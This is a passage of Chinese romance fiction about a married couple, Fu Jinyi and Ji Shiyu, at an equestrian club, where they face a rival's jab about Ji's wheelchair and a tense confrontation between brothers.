“她算的上是个屁的前女友,老子去问问她的狗到底还要不要了。” 傅谦脱下外套,也牵了匹马疾驰出去。 原野上风在呼啸,季时与跟傅谨屹的身旁此刻却静的像与世隔绝。 季时与还没缓过神来,“这事叶总知道吗?” 傅谨屹也落座,“来的时候应该知道了。” “他心里不膈应?” 傅谨屹浓眉一挑。 “风月场上的事,叶总见得比她多,只能说明一个问题。” “什么问题?” “她很善于利用自身优势。” 所以别人并不在乎她的过往,只在乎她这个人现下能提供的价值。 季时与看的认真,右前方三个人的修罗场还在继续。 中间的女人穿着马术服都能看出是属于风情万种的类型,两个男人被她马背上不知所措的情绪玩弄于鼓掌。 “傅先生好像很会洞察人心?” 季时与给他倒了杯刚洗好的茶,茶水落在茶杯里的声音袅袅,茶杯七分满,清澈见底,没有一点杂质。 傅谨屹一饮而尽,眸光幽暗,也学着她曾经指尖把玩茶杯的模样,表情有些玩味。 不过他的茶杯下一刻没有碎,而是稳稳的扣在茶桌上。 “过誉,比如,傅太太你的心,就难以洞察。” “为什么?既然都有这个闲情逸致窥探我的心,我是不是也可以有理由怀疑,傅先生动机不纯?” 至于是什么动机,这个罪名的帽子很好扣。 就像他当初慎重的告诉她不要动歪心思那样。 君子报仇,十年不晚。 傅谨屹秉持奉行坚信的是,人都是虚伪多变的,人心更是。 但季时与不同,季时与是多面的,像是在走一个镜子迷宫,偶尔有些时候他会好奇,哪一面下面才是她。 “是否是有动机,是什么动机当然由你。”傅谨屹视线从她脸上移开,面色从容,笑的也淡,“不过林小姐这个人你要注意,后面少不了会跟她来往,但是最好不要跟她过多接触。” “怎么了?” 傅谨屹的提醒令她疑惑。 他们今天应该也是第一次见面才对。 过多的解释在傅谨屹心里没必要,“你少接触就可以了。” 来的时候,他们四人同时到达。 马术俱乐部对于江城内环来说,是属于偏僻渺无人烟的地方,车子只能停在俱乐部固定的停车位上,里面的天然跑马场,需要下来再步行一段路。 所谓的林小姐似乎是有意聊起,依偎着叶肖,“我听说季小姐好像腿脚不太好?要坐轮椅。” 声音不大不小,刚好够他们四个人听见。 叶肖有些尴尬,她是什么意思,在场似乎都心知肚明。 “少说两句。” “抱歉,不能说吗?我以为这是江城大家都知道的事情。” 双方谈的是合作,并不是向下兼容。 叶肖赔笑,“傅总,她比较单纯,你别介意。” 林序也赶紧认低道歉,认下了心直口快的人设,“我其实还挺佩服季小姐的,外面都说她人面蛇心,脾气也大,只管自己享特权,苛刻工作人员,她硬是一句解释也没有,心理这么强大的人,我还是第一次见,要是谁说我哪里做的不好,我是一个晚上也睡不着。” 傅谨屹只觉得她愚蠢,费尽心机还没当上叶夫人,就摆上了叶夫人的架子。 而他是季时与板上钉钉的丈夫,她还指望着,他在外人面前嘲弄自己的妻子? 即便外面传言他们的婚姻再不和,傅谨屹也不会允许有人如此的下他与季时与的面子。 傅谨屹薄唇紧抿,语气森冷。 “是不是单纯只有叶总知道,林小姐到底是听外人的人云亦云,还是心有所想,我管不了,但是再让我听见,我会追究我们夫妻该有的名誉,傅氏也义不容辞,林小姐若是只有单纯这一个品质的话,那我还真是高看了金叶集团。” 他们的利益自从写下婚书的那天就捆绑在了一起。 傅谨屹不仅为她也为自己。 “哥,你是不是早就知道了?”傅谦拦住傅谨屹,面色凝重。 知道林序早就搭上了叶家。 傅谨屹刻意与叶家两个人保持距离后,看着自家弟弟,审慎警告他:“给你身边的人透露这个消息是让你过来看清楚她的真面目,让你知道分寸,外人始终是外人。” 傅谦双唇紧抿,眼底染上怒意,“那你跟季时与呢?我跟她有感情,你跟季时与没有感情,只有一纸婚姻,你拿她当内人还是外人?” “你对她是真感情吗?还是为了戏弄她给她套走了傅家的假消息?”傅谨屹薄唇透着凉薄之意,“你的性子,等你知道什么是真感情的时候,再滚来找我。” “傅谨屹,你为什么不敢回答?” 傅谦低吼,带着被揭穿与轻视的气愤。 从小他只会被家里人与傅谨屹比,他什么都比不过傅谨屹,偏偏傅谨屹最能戳破他的心思,他干脆不比,吃喝玩乐傅谨屹总是比不过他的。 “她进了傅家,就是傅家的人,用不着我拿她当内人还是外人。” “是吗?”傅谦笑了笑,“那她知道你在调查她吗?” 傅谦被傅谨屹深深看了一眼,他被里边复杂的眼神所震慑。 他说不明白那些对他的是大失所望还是觉得他幼稚无可救药。 “调查上来的东西,不管里面有没有内容,我都没有看,你知道为什么吗?” “为什么?” 傅谦确实不解。 傅谨屹再最后教他一次。 “因为我对季时与是否有感情这个命题,不管里面的内容是什么,都不会改变现状。我不爱她,也不会因为里面的调查结果而爱上她,我要是爱她,也不会因为里面区区几个字不爱她,你明白吗?你首先得学会怎么尊重一个女人。” 午后的风总是宜人的,吹得人昏昏欲睡。 墨镜里的世界总隔着一层灰。 季时与见秦桑桑下马,坐的端正些,墨镜被她取下来搁在茶桌上。 “时与姐,我不学了。”秦桑桑走近后才注意到姜静不见了,身边替而换之的是一个面容俊逸,气度不凡的男人,“这位是……傅总吧?” 傅谨屹颔首。 “我双手双脚的支持你的决定,你去休息会吧。”季时也颇为理解她。 “那我去给你们准备点别的喝的,傅总想喝什么?” 秦桑桑变得雀跃。 “我喝茶。” 傅谨屹惜字如金。 “你老是板着张脸,别人会害怕你的。” 季时与看着走远的背影。 傅谨屹掀起眼皮看她,“你害怕吗?”